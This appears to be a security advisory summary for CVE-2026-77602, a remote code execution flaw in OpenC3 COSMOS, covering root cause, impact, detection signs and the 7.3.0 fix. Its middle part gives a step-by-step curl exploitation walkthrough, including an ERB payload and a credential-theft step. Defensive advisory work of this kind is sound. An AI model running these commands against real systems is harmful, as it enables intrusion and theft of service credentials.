CVE-2026-77602: 
Ruby vulnerability analysis and mitigation

CVE-2026-77602 is a critical authenticated remote code execution vulnerability in OpenC3 COSMOS, an open-source command and control system for embedded systems. The flaw allows authenticated non-administrator users to write malicious content into the user-writable targets_modified/ overlay directory, which is subsequently executed as code by multiple configuration processing paths. Affected versions span from 5.1.0 through 7.2.1 (inclusive); the issue is fixed in version 7.3.0. It carries a CVSS v3.1 base score of 9.9 (Critical) (Github Advisory, GitHub Security Advisory). The advisory was published on September 3, 2026, and credited to researcher Marnick39.

The root cause (CWE-94: Improper Control of Generation of Code) is that TargetFile.body reads from the user-writable {scope}/targets_modified/{name} path before the read-only {scope}/targets/{name} path, and the configuration subsystem treats those files as executable code. Three distinct code-execution sinks exist: (1) ERB rendering — ConfigParser#parse_file renders every config file as ERB by default (run_erb=true), reached via table definitions and cmd/tlm definitions; (2) GENERIC conversion eval — GenericConversion#call evaluates GENERIC_READ_CONVERSION_START/GENERIC_WRITE_CONVERSION_START blocks using Ruby eval() or Python compile()/exec()/eval(), independent of ERB; (3) Script Runner suite require — run_suite_analysis.rb executes a procedure file via require ARGV[1]. Non-admin users can write to the overlay through the storage-upload endpoint (which exempts targets_modified/ and tmp/ from the admin gate) and the screen-save endpoint (which stores its body verbatim under targets_modified/<scope>/screens/). In the open-source edition, the authorize function ignores the permission string and only validates token presence, meaning any authenticated user can exploit all three paths (Github Advisory, GitHub Security Advisory).

Successful exploitation grants arbitrary code execution as the openc3 user within the cmd-tlm-api container, per-target decom microservices, and the Script Runner process. These processes hold Redis and object-storage bucket credentials and reside on the internal service network, enabling an attacker to access, modify, or destroy all configuration, telemetry, and command data across all scopes. The changed scope (S:C) in the CVSS vector reflects that compromise extends beyond the initially vulnerable component to connected microservices and their credentials, enabling lateral movement within the COSMOS infrastructure (Github Advisory).

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at this time (Github Advisory). However, the GitHub security advisory itself includes a detailed PoC walkthrough demonstrating end-to-end exploitation over HTTP against a standard COSMOS stack, significantly lowering the bar for exploitation. The EPSS score is currently 0.0, and the vulnerability is not listed in the CISA KEV catalog. Exploitation requires only a valid authentication token — no administrator privileges — making it accessible to any registered user in a multi-user deployment.

1. Authenticate: Obtain a valid session token from the COSMOS API (e.g., TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<password>"}')). Any authenticated user qualifies in the open-source edition.
2. Write payload via screen-save endpoint: POST a malicious ERB payload to the screen-save endpoint, which stores it verbatim under targets_modified/<scope>/screens/: curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", \id`) %>\nLABEL poc'`
3. Trigger ERB execution via table action: Point a table generate request at the uploaded file to trigger ERB rendering in the cmd-tlm-api container: curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'
4. Verify code execution: Check the marker file in the container (cat /tmp/erb_rce_poc) — it will contain the output of id, confirming RCE as the openc3 user. The HTTP response may return 500 (invalid table keywords), but the code has already executed.
5. Alternative — GENERIC sink: Instead of ERB, embed a GENERIC_WRITE_CONVERSION_START ... GENERIC_WRITE_CONVERSION_END block in a table definition file and trigger via the same tables/generate endpoint.
6. Alternative — cmd/tlm path: Upload a telemetry definition with an ERB or GENERIC payload to targets_modified/<scope>/cmd_tlm/<target>.txt via the presigned storage-upload endpoint; code executes in the decom microservice on its next restart.
7. Alternative — Suite Runner path: Write a suite-shaped Ruby procedure to targets_modified/<scope>/procedures/<name>.rb and call scripts#body on it at the script_view tier to trigger Script.process_suite, which executes the file via require.
8. Leverage access: Use the obtained shell to extract Redis credentials, bucket credentials, and internal service network access for lateral movement across COSMOS scopes (Github Advisory, GitHub Security Advisory).

• Network: Unexpected POST requests to /openc3-api/screen with text parameters containing ERB tags (<%=, %>) or shell backtick expressions; POST requests to /openc3-api/tables/generate or /openc3-api/tables/report referencing paths under screens/ or non-standard definition paths; presigned upload requests targeting targets_modified/<scope>/cmd_tlm/ paths from non-admin users.
• File System: Unexpected files created in /tmp/ within the cmd-tlm-api, decom, or script-runner containers (e.g., marker files, web shells, or credential dumps); new or modified files under targets_modified/<scope>/screens/, targets_modified/<scope>/procedures/, or targets_modified/<scope>/cmd_tlm/ with ERB tags or GENERIC_*_CONVERSION blocks containing shell commands.
• Logs: HTTP 500 responses from tables/generate or tables/report endpoints immediately following a screen-save POST (indicating ERB executed but table parsing failed); Rails/Puma logs showing ERB evaluation errors or unexpected require calls in the script-runner; audit logs showing non-admin users writing to targets_modified/ paths that are normally admin-gated.
• Process: Unexpected child processes spawned by the cmd-tlm-api or script-runner Ruby/Python processes (e.g., /bin/sh, curl, wget, python3) performing outbound network connections or file writes outside expected directories.

Upgrade OpenC3 COSMOS to version 7.3.0, which is the official patched release (Github Advisory). The fix (PR #3488) treats the targets_modified/ overlay as data rather than code: ERB rendering is now disabled at runtime (run_erb=false) and only occurs at plugin install time; table and cmd/tlm definitions are read exclusively from the read-only targets/ tree; suite analysis is gated at the script_run permission tier; and writes to the cmd_tlm overlay require admin privileges (GitHub PR). As interim workarounds for deployments that cannot immediately upgrade: restrict write access to targets_modified/ to trusted administrators only, disable or restrict the screen-save and storage-upload endpoints for non-admin users, audit existing targets_modified/ contents for suspicious ERB or GENERIC_*_CONVERSION blocks, and monitor for unexpected child processes spawned by COSMOS microservices.

The vulnerability was discovered by researcher Marnick39 and reported to the OpenC3 team, who published the advisory on September 3, 2026 (Github Advisory). The fix was developed collaboratively using Claude Code (Anthropic's AI coding assistant), as noted in the commit messages, which is an unusual aspect of the remediation process (GitHub PR). No significant broader media coverage or notable community commentary beyond the GitHub advisory and associated pull request discussion has been identified at this time.